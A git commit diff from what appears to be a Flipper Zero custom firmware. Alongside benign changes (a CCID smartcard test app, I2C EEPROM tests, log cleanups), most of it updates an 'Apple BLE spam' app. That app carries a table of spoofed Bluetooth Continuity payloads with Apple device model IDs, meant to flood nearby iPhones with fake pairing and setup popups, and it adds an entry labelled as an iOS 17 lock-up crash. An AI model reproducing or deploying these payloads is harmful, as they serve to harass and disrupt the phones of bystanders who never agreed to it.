This commit is contained in:
Willy-JL
2023-10-02 23:12:22 +01:00
231 changed files with 8676 additions and 3374 deletions

View File

@@ -77,6 +77,8 @@ if GetOption("fullenv") or any(
"${COPRO_DISCLAIMER}",
"--obdata",
'"${ROOT_DIR.abspath}/${COPRO_OB_DATA}"',
"--stackversion",
"${COPRO_CUBE_VERSION}",
]
dist_resource_arguments = [
"-r",

View File

@@ -0,0 +1,16 @@
App(
appid="ccid_test",
name="CCID Debug",
apptype=FlipperAppType.DEBUG,
entry_point="ccid_test_app",
cdefines=["CCID_TEST"],
requires=[
"gui",
],
provides=[
"ccid_test",
],
stack_size=1 * 1024,
order=120,
fap_category="Debug",
)

View File

@@ -0,0 +1,159 @@
#include <stdint.h>
#include <furi.h>
#include <furi_hal.h>
#include <gui/view.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/gui.h>
#include "iso7816_t0_apdu.h"
typedef enum {
EventTypeInput,
} EventType;
typedef struct {
Gui* gui;
ViewPort* view_port;
FuriMessageQueue* event_queue;
FuriHalUsbCcidConfig ccid_cfg;
} CcidTestApp;
typedef struct {
union {
InputEvent input;
};
EventType type;
} CcidTestAppEvent;
typedef enum {
CcidTestSubmenuIndexInsertSmartcard,
CcidTestSubmenuIndexRemoveSmartcard,
CcidTestSubmenuIndexInsertSmartcardReader
} SubmenuIndex;
void icc_power_on_callback(uint8_t* atrBuffer, uint32_t* atrlen, void* context) {
UNUSED(context);
iso7816_answer_to_reset(atrBuffer, atrlen);
}
void xfr_datablock_callback(uint8_t* dataBlock, uint32_t* dataBlockLen, void* context) {
UNUSED(context);
struct ISO7816_Response_APDU responseAPDU;
//class not supported
responseAPDU.SW1 = 0x6E;
responseAPDU.SW2 = 0x00;
iso7816_write_response_apdu(&responseAPDU, dataBlock, dataBlockLen);
}
static const CcidCallbacks ccid_cb = {
icc_power_on_callback,
xfr_datablock_callback,
};
static void ccid_test_app_render_callback(Canvas* canvas, void* ctx) {
UNUSED(ctx);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 0, 10, "CCID Test App");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0, 63, "Hold [back] to exit");
}
static void ccid_test_app__input_callback(InputEvent* input_event, void* ctx) {
FuriMessageQueue* event_queue = ctx;
CcidTestAppEvent event;
event.type = EventTypeInput;
event.input = *input_event;
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
uint32_t ccid_test_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
}
CcidTestApp* ccid_test_app_alloc() {
CcidTestApp* app = malloc(sizeof(CcidTestApp));
// Gui
app->gui = furi_record_open(RECORD_GUI);
//viewport
app->view_port = view_port_alloc();
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
view_port_draw_callback_set(app->view_port, ccid_test_app_render_callback, NULL);
//message queue
app->event_queue = furi_message_queue_alloc(8, sizeof(CcidTestAppEvent));
furi_check(app->event_queue);
view_port_input_callback_set(app->view_port, ccid_test_app__input_callback, app->event_queue);
return app;
}
void ccid_test_app_free(CcidTestApp* app) {
furi_assert(app);
//message queue
furi_message_queue_free(app->event_queue);
//view port
gui_remove_view_port(app->gui, app->view_port);
view_port_free(app->view_port);
// Close gui record
furi_record_close(RECORD_GUI);
app->gui = NULL;
// Free rest
free(app);
}
int32_t ccid_test_app(void* p) {
UNUSED(p);
//setup view
CcidTestApp* app = ccid_test_app_alloc();
//setup CCID USB
// On linux: set VID PID using: /usr/lib/pcsc/drivers/ifd-ccid.bundle/Contents/Info.plist
app->ccid_cfg.vid = 0x1234;
app->ccid_cfg.pid = 0x5678;
FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config();
furi_hal_usb_unlock();
furi_hal_ccid_set_callbacks((CcidCallbacks*)&ccid_cb);
furi_check(furi_hal_usb_set_config(&usb_ccid, &app->ccid_cfg) == true);
//handle button events
CcidTestAppEvent event;
while(1) {
FuriStatus event_status =
furi_message_queue_get(app->event_queue, &event, FuriWaitForever);
if(event_status == FuriStatusOk) {
if(event.type == EventTypeInput) {
if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) {
break;
}
}
}
view_port_update(app->view_port);
}
//tear down USB
furi_hal_usb_set_config(usb_mode_prev, NULL);
furi_hal_ccid_set_callbacks(NULL);
//teardown view
ccid_test_app_free(app);
return 0;
}

View File

@@ -0,0 +1,36 @@
/* Implements rudimentary iso7816-3 support for APDU (T=0) */
#include <stdint.h>
#include <string.h>
#include <furi.h>
#include "iso7816_t0_apdu.h"
void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen) {
//minimum valid ATR: https://smartcard-atr.apdu.fr/parse?ATR=3B+00
uint8_t AtrBuffer[2] = {
0x3B, //TS (direct convention)
0x00 // T0 (Y(1): b0000, K: 0 (historical bytes))
};
*atrlen = 2;
memcpy(atrBuffer, AtrBuffer, sizeof(uint8_t) * (*atrlen));
}
void iso7816_read_command_apdu(
struct ISO7816_Command_APDU* command,
const uint8_t* dataBuffer,
uint32_t dataLen) {
furi_assert(dataLen <= 4);
command->CLA = dataBuffer[0];
command->INS = dataBuffer[1];
command->P1 = dataBuffer[2];
command->P2 = dataBuffer[3];
}
void iso7816_write_response_apdu(
const struct ISO7816_Response_APDU* response,
uint8_t* dataBuffer,
uint32_t* dataLen) {
dataBuffer[0] = response->SW1;
dataBuffer[1] = response->SW2;
*dataLen = 2;
}

View File

@@ -0,0 +1,32 @@
#ifndef _ISO7816_T0_APDU_H_
#define _ISO7816_T0_APDU_H_
#include <stdint.h>
struct ISO7816_Command_APDU {
//header
uint8_t CLA;
uint32_t INS;
uint8_t P1;
uint8_t P2;
//body
uint8_t Nc;
uint8_t Ne;
} __attribute__((packed));
struct ISO7816_Response_APDU {
uint8_t SW1;
uint32_t SW2;
} __attribute__((packed));
void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen);
void iso7816_read_command_apdu(
struct ISO7816_Command_APDU* command,
const uint8_t* dataBuffer,
uint32_t dataLen);
void iso7816_write_response_apdu(
const struct ISO7816_Response_APDU* response,
uint8_t* dataBuffer,
uint32_t* dataLen);
#endif //_ISO7816_T0_APDU_H_

View File

@@ -5,6 +5,11 @@
#include "../minunit.h"
#define DATA_SIZE 4
#define EEPROM_ADDRESS 0b10101000
#define EEPROM_ADDRESS_HIGH (EEPROM_ADDRESS | 0b10)
#define EEPROM_SIZE 512
#define EEPROM_PAGE_SIZE 16
#define EEPROM_WRITE_DELAY_MS 6
static void furi_hal_i2c_int_setup() {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_power);
@@ -14,6 +19,14 @@ static void furi_hal_i2c_int_teardown() {
furi_hal_i2c_release(&furi_hal_i2c_handle_power);
}
static void furi_hal_i2c_ext_setup() {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
}
static void furi_hal_i2c_ext_teardown() {
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
}
MU_TEST(furi_hal_i2c_int_1b) {
bool ret = false;
uint8_t data_one = 0;
@@ -103,14 +116,116 @@ MU_TEST(furi_hal_i2c_int_1b_fail) {
mu_assert(data_one != 0, "9 invalid data");
}
MU_TEST(furi_hal_i2c_int_ext_3b) {
bool ret = false;
uint8_t data_many[DATA_SIZE] = {0};
// 3 byte: read
data_many[0] = LP5562_CHANNEL_BLUE_CURRENT_REGISTER;
ret = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_power,
LP5562_ADDRESS,
false,
data_many,
1,
FuriHalI2cBeginStart,
FuriHalI2cEndAwaitRestart,
LP5562_I2C_TIMEOUT);
mu_assert(ret, "3 tx failed");
// Send a RESTART condition, then read the 3 bytes one after the other
ret = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_power,
LP5562_ADDRESS,
false,
data_many + 1,
1,
FuriHalI2cBeginRestart,
FuriHalI2cEndPause,
LP5562_I2C_TIMEOUT);
mu_assert(ret, "4 rx failed");
mu_assert(data_many[1] != 0, "4 invalid data");
ret = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_power,
LP5562_ADDRESS,
false,
data_many + 2,
1,
FuriHalI2cBeginResume,
FuriHalI2cEndPause,
LP5562_I2C_TIMEOUT);
mu_assert(ret, "5 rx failed");
mu_assert(data_many[2] != 0, "5 invalid data");
ret = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_power,
LP5562_ADDRESS,
false,
data_many + 3,
1,
FuriHalI2cBeginResume,
FuriHalI2cEndStop,
LP5562_I2C_TIMEOUT);
mu_assert(ret, "6 rx failed");
mu_assert(data_many[3] != 0, "6 invalid data");
}
MU_TEST(furi_hal_i2c_ext_eeprom) {
if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, EEPROM_ADDRESS, 100)) {
printf("no device connected, skipping\r\n");
return;
}
bool ret = false;
uint8_t buffer[EEPROM_SIZE] = {0};
for(size_t page = 0; page < (EEPROM_SIZE / EEPROM_PAGE_SIZE); ++page) {
// Fill page buffer
for(size_t page_byte = 0; page_byte < EEPROM_PAGE_SIZE; ++page_byte) {
// Each byte is its position in the EEPROM modulo 256
uint8_t byte = ((page * EEPROM_PAGE_SIZE) + page_byte) % 256;
buffer[page_byte] = byte;
}
uint8_t address = (page < 16) ? EEPROM_ADDRESS : EEPROM_ADDRESS_HIGH;
ret = furi_hal_i2c_write_mem(
&furi_hal_i2c_handle_external,
address,
page * EEPROM_PAGE_SIZE,
buffer,
EEPROM_PAGE_SIZE,
20);
mu_assert(ret, "EEPROM write failed");
furi_delay_ms(EEPROM_WRITE_DELAY_MS);
}
ret = furi_hal_i2c_read_mem(
&furi_hal_i2c_handle_external, EEPROM_ADDRESS, 0, buffer, EEPROM_SIZE, 100);
mu_assert(ret, "EEPROM read failed");
for(size_t pos = 0; pos < EEPROM_SIZE; ++pos) {
mu_assert_int_eq(pos % 256, buffer[pos]);
}
}
MU_TEST_SUITE(furi_hal_i2c_int_suite) {
MU_SUITE_CONFIGURE(&furi_hal_i2c_int_setup, &furi_hal_i2c_int_teardown);
MU_RUN_TEST(furi_hal_i2c_int_1b);
MU_RUN_TEST(furi_hal_i2c_int_3b);
MU_RUN_TEST(furi_hal_i2c_int_ext_3b);
MU_RUN_TEST(furi_hal_i2c_int_1b_fail);
}
MU_TEST_SUITE(furi_hal_i2c_ext_suite) {
MU_SUITE_CONFIGURE(&furi_hal_i2c_ext_setup, &furi_hal_i2c_ext_teardown);
MU_RUN_TEST(furi_hal_i2c_ext_eeprom);
}
int run_minunit_test_furi_hal() {
MU_RUN_SUITE(furi_hal_i2c_int_suite);
MU_RUN_SUITE(furi_hal_i2c_ext_suite);
return MU_EXIT_CODE;
}

View File

@@ -96,9 +96,9 @@ static bool subghz_decoder_test(const char* path, const char* name_decoder) {
}
subghz_file_encoder_worker_free(file_worker_encoder_handler);
}
FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count);
if(furi_get_tick() - test_start > TEST_TIMEOUT) {
printf("\033[0;31mTest decoder %s ERROR TimeOut\033[0m\r\n", name_decoder);
printf("Test decoder %s ERROR TimeOut\r\n", name_decoder);
return false;
} else {
return subghz_test_decoder_count ? true : false;
@@ -135,9 +135,9 @@ static bool subghz_decode_random_test(const char* path) {
}
subghz_file_encoder_worker_free(file_worker_encoder_handler);
}
FURI_LOG_D(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
FURI_LOG_D(TAG, "Decoder count parse %d", subghz_test_decoder_count);
if(furi_get_tick() - test_start > TEST_TIMEOUT * 10) {
printf("\033[0;31mRandom test ERROR TimeOut\033[0m\r\n");
printf("Random test ERROR TimeOut\r\n");
return false;
} else if(subghz_test_decoder_count == TEST_RANDOM_COUNT_PARSE) {
return true;
@@ -198,10 +198,9 @@ static bool subghz_encoder_test(const char* path) {
subghz_transmitter_free(transmitter);
}
flipper_format_free(fff_data_file);
FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count);
if(furi_get_tick() - test_start > TEST_TIMEOUT) {
printf(
"\033[0;31mTest encoder %s ERROR TimeOut\033[0m\r\n", furi_string_get_cstr(temp_str));
printf("Test encoder %s ERROR TimeOut\r\n", furi_string_get_cstr(temp_str));
subghz_test_decoder_count = 0;
}
furi_string_free(temp_str);

View File

@@ -16,45 +16,48 @@ typedef struct {
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
static Payload payloads[] = {
static Payload
payloads[] =
{
#if false
{.title = "AirDrop",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirDrop,
.data = {.airdrop = {}},
}},
{.title = "Airplay Target",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirplayTarget,
.data = {.airplay_target = {}},
}},
{.title = "Handoff",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeHandoff,
.data = {.handoff = {}},
}},
{.title = "Tethering Source",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeTetheringSource,
.data = {.tethering_source = {}},
}},
{.title = "AirDrop",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirDrop,
.data = {.airdrop = {}},
}},
{.title = "Airplay Target",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirplayTarget,
.data = {.airplay_target = {}},
}},
{.title = "Handoff",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeHandoff,
.data = {.handoff = {}},
}},
{.title = "Tethering Source",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeTetheringSource,
.data = {.tethering_source = {}},
}},
{.title = "Mobile Backup",
.text = "",
.random = false,
@@ -175,279 +178,295 @@ static Payload payloads[] = {
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
}},
{.title = "Nearby Info",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyInfo,
.data = {.nearby_info = {}},
}},
#endif
{.title = "Random Action",
.text = "Spam shuffle Nearby Actions",
.random = true,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
}},
{.title = "Random Pair",
.text = "Spam shuffle Proximity Pairs",
.random = true,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
}},
{.title = "AppleTV AutoFill",
.text = "Banner, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
}},
{.title = "AppleTV Connecting...",
.text = "Modal, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
}},
{.title = "Join This AppleTV?",
.text = "Modal, unlocked, spammy",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
}},
{.title = "AppleTV Audio Sync",
.text = "Banner, locked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
}},
{.title = "AppleTV Color Balance",
.text = "Banner, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
}},
{.title = "Setup New iPhone",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
}},
{.title = "Setup New Random",
.text = "Modal, locked, glitched",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
}},
{.title = "Transfer Phone Number",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
}},
{.title = "HomePod Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
}},
{.title = "AirPods Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
}},
{.title = "Beats Solo 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
}},
{.title = "AirPods Max",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
}},
{.title = "Beats Flex",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
}},
{.title = "Airtag",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
}},
{.title = "Hermes Airtag",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
}},
{.title = "Setup New AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
}},
{.title = "Pair AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
}},
{.title = "HomeKit AppleTV Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
}},
{.title = "AppleID for AppleTV?",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
}},
{.title = "AirPods",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
}},
{.title = "AirPods 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
}},
{.title = "AirPods 3rd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
}},
{.title = "AirPods Pro 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
}},
{.title = "Powerbeats 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
}},
{.title = "Powerbeats Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
}},
{.title = "Beats Solo Pro",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
}},
{.title = "Beats Studio Buds",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
}},
{.title = "Beats X",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
}},
{.title = "Beats Studio 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
}},
{.title = "Beats Studio Pro",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
}},
{.title = "Beats Fit Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
}},
{.title = "Beats Studio Buds+",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
}},
{.title = "Lockup Crash",
.text = "iOS 17, locked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeCustomCrash,
.data = {.custom_crash = {}},
}},
{.title = "Random Action",
.text = "Spam shuffle Nearby Actions",
.random = true,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
}},
{.title = "Random Pair",
.text = "Spam shuffle Proximity Pairs",
.random = true,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
}},
{.title = "AppleTV AutoFill",
.text = "Banner, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
}},
{.title = "AppleTV Connecting...",
.text = "Modal, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
}},
{.title = "Join This AppleTV?",
.text = "Modal, unlocked, spammy",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
}},
{.title = "AppleTV Audio Sync",
.text = "Banner, locked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
}},
{.title = "AppleTV Color Balance",
.text = "Banner, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
}},
{.title = "Setup New iPhone",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
}},
{.title = "Setup New Random",
.text = "Modal, locked, glitched",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
}},
{.title = "Transfer Phone Number",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
}},
{.title = "HomePod Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
}},
{.title = "AirPods Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
}},
{.title = "Beats Solo 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
}},
{.title = "AirPods Max",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
}},
{.title = "Beats Flex",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
}},
{.title = "Airtag",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
}},
{.title = "Hermes Airtag",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
}},
{.title = "Setup New AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
}},
{.title = "Pair AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
}},
{.title = "HomeKit AppleTV Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
}},
{.title = "AppleID for AppleTV?",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
}},
{.title = "AirPods",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
}},
{.title = "AirPods 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
}},
{.title = "AirPods 3rd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
}},
{.title = "AirPods Pro 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
}},
{.title = "Powerbeats 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
}},
{.title = "Powerbeats Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
}},
{.title = "Beats Solo Pro",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
}},
{.title = "Beats Studio Buds",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
}},
{.title = "Beats X",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
}},
{.title = "Beats Studio 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
}},
{.title = "Beats Studio Pro",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
}},
{.title = "Beats Fit Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
}},
{.title = "Beats Studio Buds+",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
}},
};
#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
@@ -668,10 +687,10 @@ static void draw_callback(Canvas* canvas, void* ctx) {
48,
AlignLeft,
AlignTop,
"App+spam by \e#WillyJL\e# XFW\n"
"Pair codes by \e#ECTO-1A\e#\n"
"BLE docs by \e#furiousMAC\e#\n"
" Version \e#1.1\e#",
"App+Spam by \e#WillyJL\e# XFW\n"
"IDs and Crash by \e#ECTO-1A\e#\n"
"Continuity by \e#furiousMAC\e#\n"
" Version \e#1.2\e#",
false);
break;
default: {

View File

@@ -15,6 +15,6 @@ App(
],
fap_author="@Willy-JL & @ECTO-1A",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam",
fap_version="1.1",
fap_version="1.2",
fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
)

View File

@@ -1,8 +1,10 @@
#include "continuity.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
@@ -15,18 +17,23 @@ static const char* continuity_type_names[ContinuityTypeCount] = {
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
};
const char* continuity_get_type_name(ContinuityType type) {
return continuity_type_names[type];
}
